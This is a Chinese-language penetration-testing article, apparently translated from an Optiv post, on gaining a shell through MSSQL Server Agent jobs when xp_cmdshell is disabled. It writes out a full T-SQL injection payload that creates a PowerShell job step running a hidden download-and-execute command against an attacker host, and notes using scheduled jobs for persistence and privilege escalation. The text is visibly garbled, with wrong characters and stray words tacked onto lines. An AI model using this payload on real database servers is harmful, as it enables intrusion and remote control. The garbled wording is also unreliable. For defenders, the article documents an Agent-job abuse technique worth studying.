MSSQL代理工做服务器远程命令执行

概述

若是MSSQL数据库中开启了MSSQL Server Agent Job服务的话,攻击者将能够利用MSSQL Server中自带的功能来获取一个shell。web

SQL Server Agent

SQL Server Agent是一个Windows服务,它能够用来执行自动化任务。shell

攻击浅析

利用MSSQL Server中的本地功能来在Windows操做系统中执行任意命令。在整个测试过程当中,xp_cmdshell存储过程已被禁用了,而且限制了建立自定义存储过程的能力。数据库

当xp_cmdshell扩展存储过程在攻击中被使用时,大多数安全监控或检测系统都会产生警报。而攻击者和渗透测试人员对xp_cmdshell的滥用已经致使不少组织和企业开始禁用或限制xp_cmdshell了。安全

可利用MSSQL Server代理来在目标数据库服务器中执行任意控制命令。可是,目标服务器必须知足一下几个条件:服务器

  1. 目标服务器必须开启了MSSQL Server代理服务;
  2. 服务器中当前运行的用户帐号必须拥有足够的权限去建立并执行代理做业;

两个能够利用的MSSQL代理做业子系统:CmdExec和PowerShell子系统,这两个功能能够分别用来执行操做系统命令和PowerShell脚本。测试

1.png

可使用SQL注入点来建立并执行代理任务。任务所需执行的命令是一段PowerShell代码,这段代码可让目标系统与一个受Optiv控制的IP地址进行通讯链接,而后下载额外的PowerShell指令。这样一来,就能够在目标数据库服务器与Optiv控制的服务器之间创建一条可交互的命令控制会话了。编码

下面这张代码截图显示的是已被拆分的SQL语句。在下面这段下载命令中,URI位于两个单引号之间,而不是以前的双引号。这样作是为了在SQL语句中转义单引号。操作系统

2.png

USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';

攻击测试

以下图所示,SQL语句已经进行了URL编码处理。在这个攻击示例中,攻击是经过HTTP GET请求来发送的,所以咱们须要对攻击payload进行URL编码。代理

3.png

能够看到咱们在HTTP GET请求的参数中添加了SQL注入payload,这样咱们就可使用SQL注入了。(请注意在payload的开头处添加的%20(空格符))code

4.png

当payload运行以后,咱们就能够看到命令控制会话已经创建成功了,而且使用的是“SQLSERVERAGENT”帐号的权限。

5.png

在目标主机的SQL Server中,咱们能够看到SQL代理做业已经建立成功了。

6.png

总结

若是目标主机运行了MSSQL代理服务,而且代理服务使用的用户帐号能够访问其余的MSSQL Server的话,那么就能够利用这种攻击来在其余的MSSQL Server中执行MSSQL Server代理做业了。除此以外,还能够设置定时代理做业,这也就意味着,不只能够利用这种方式来躲避安全检测,并且还能够实现对目标MSSQL Server的持久化控制。

在某些状况下,若是MSSQL Server代理服务使用的是权限更高的用户帐号,那么就能够经过这种攻击来实现提权。

相关文章
相关标签/搜索